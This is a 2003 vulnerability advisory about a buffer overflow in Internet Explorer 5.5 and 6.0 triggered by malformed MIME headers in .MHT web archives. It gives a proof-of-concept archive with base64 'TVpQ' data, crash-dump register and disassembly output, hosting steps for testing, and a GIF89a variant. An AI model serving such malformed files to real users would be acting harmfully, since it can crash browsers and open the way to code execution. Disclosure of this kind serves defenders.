12th Mar 2003 [SBWID-6059]
COMMAND
	.MHT Buffer Overflow in Internet Explorer
SYSTEMS AFFECTED
	Microsoft  Internet  Explorer  5.5  and  6.0;  prior  versions  are  not
	vulnerable.
PROBLEM
	Tom Tanaka found :
	
	/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
	 Tom Tanaka <[email protected]>
	 Technical Manager, Security 
	 Software Products Department
	 Tokyo Office
	 CANON SYSTEM SOLUTIONS INC..
	 1-2-18 Ikenohata Taito-ku, Tokyo 110-0008, Japan
	/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
	
	IE5 introduced the new 'Web  Archive'  format  for  storing  web  pages,
	which have the extension MHT. The 'Web Archive' saves a web  page  as  a
	single document complete with all  images.  The  format  is  a  standard
	mime/multipart e-mail message, a mime decoding  program  such  as  7bit,
	8bit and Base 64 decoder should  be  able  to  turn  it  into  something
	usable with your OS and browser of choice.
	This format is pretty nifty and usable, however, there  is  a  potential
	security breach found when  used  with  encoded  executable  along  with
	malformed MIME header in the  'Web  Archive'.  If  the  encode  data  is
	executable or has a single word "MZP" encoded  within  and  Content-Type
	is  not  designated,  IE5  will  be  terminated   by   critical   buffer
	overflow.Consequently, one could compromise the client pc  by  executing
	malicious code in the memory.
	RFC822 describes the structure of message header used for the MIME.  The
	followings are some of the identifiers defined for the MIME header.
	
	MIME-Version:
	 Content-Type:
	 Content-Trasfer-Encoding:
	 Content-ID:
	 Content-Description:
	
	The 'Content-Type' is used for defining the types of  media  transfered.
	The 'Web Archive' format  utilizes  the  Multipart/Related  content-type
	(defined in RFC2387) to properly embed the multiple web  content  files.
	As described in RFC2387, the Multipart/Related content-type  provides  a
	common  mechanism  for  representing  objects  that  are  aggregates  of
	related MIME body parts.  When  tranferring  html  or  plain  text  data
	encoded in the 'Web Archive',  IE5  interprets  as  a  plain  text  with
	'carriage  return'  code(0D0A)  ,  otherwise  as  binary  data   without
	'carriage  return'  code  (0D0A).  By  manipulating  the   MIME   header
	structure and the Base64  encoded  data  as  an  executable,4  bytes  of
	memory can be overwritten.
	 PROOF OF CONCEPT:
	The following format is usually used for the Web Archive.
	
	----------------------------------------------
	From: <Saved from Microsoft Internet Explorer 5>
	Subject: =?iso-2022-jp?B?
	GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ==?=
	Date: Tue, 4 Mar 2003 02:16:23 +0900
	MIME-Version: 1.0
	Content-Type: multipart/related;
		boundary="----=_NextPart_000_0000_01C2E1F4.0D559EA0";
		type="text/html"
	X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
	This is a multi-part message in MIME format.
	------=_NextPart_000_0000_01C2E1F4.0D559EA0
	Content-Location:file:///tomatell.exe
	Content-Transfer-Encoding: base64
	TVpQ
	----------------------------------------------
	The following sample format contains malformed MIME header along with the 
	Base64 encoded executable.
	----------------------------------------------
	MIME-Version: 1.0
	------=_NextPart_000_0000_01C2E1F4.0D559EA0
	Content-Location:file:///tomatell.exe
	Content-Transfer-Encoding: base64
	TVpQ
	----------------------------------------------
	
	Note that the  encoded  string,  "TVpQ",  is  the  Win32  EXE  signature
	located at the first three bytes of the EXE  header.  This  is  for  the
	Win32 system to identify the  data  as  a  Win32  executable  file.  IE5
	somehow reads this signature and interprets the data  as  an  executable
	whereas the MIME encoder/decoder  module,'inetcomm.dll',  decodes  as  a
	plain 7 or 8 bit text data. Thus, IE5 creates a stream  with  a  smaller
	buffersize than that of Base64 decoder has.
	The following error will occur when the above file is browsed by IE5.
	
	Unhandled exception in iexplore.exe: 0xC0000005: Access Violation.
	
	By debugging through the crash dump, the exception  error  is  generated
	at   the   EIP(32-bit   Instruction   Pointer)=74CF497E   called    from
	inetcomm.dll to Kernel32.
	
	Register
	EAX = 00000000 EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190 
	ESI = 05AD39D8 EDI = 00000000 [EIP = 74CF497E] ESP = 0607B2BC 
	EBP = 0607B2FC EFL = 00000246
	\KernelObjects\CritSecOutOfMemoryEvent
	74cf494c ff157412cd74       call    dword ptr 
	[KERNEL32.EnterCriticalSection]
	74cf4952 834e3c02           or      dword ptr [esi+3c],+02
	74cf4956 33ff               xor     edi,edi
	74cf4958 397e1c             cmp     dword ptr [esi+1c],edi
	74cf495b 743f               jz      74cf499c
	74cf495d 397c2410           cmp     dword ptr [esp+10],edi
	74cf4961 8bce               mov     ecx,esi
	74cf4963 7d06               jnl     74cf496b
	74cf4965 ff742410           push    dword ptr [esp+10]
	74cf4969 eb25               jmp     short 74cf4990
	74cf496b c746441f000000     mov     dword ptr [esi+44],0000001f
	74cf4972 e888f3ffff         call    74cf3cff
	74cf4977 3bc7               cmp     eax,edi
	74cf4979 7c12               jl      74cf498d
	74cf497b 8b461c             mov     eax,dword ptr [esi+1c]
	74cf497e 8b08               mov     ecx,dword ptr [eax] //Exception
	
	You could test the vulnerablity by copying above exploit to a file  with
	an extention ".mht" and place it at the default root  directory  of  IIS
	web server and set it as a default html of the server.
	-also-
	http-equiv [http://www.malware.com] adds :
	Yes, there has always been something suspicious about that spot.  Simply
	writing the word [header] GIF89a in the same spot will create  an  empty
	image container:
	
	------phuquedup.mhtml-----
	MIME-Version: 1.0 
	Content-Transfer-Encoding: 7bit 
	GIF89a
	------phuquedup.mhtml-----
	
SOLUTION
	none yet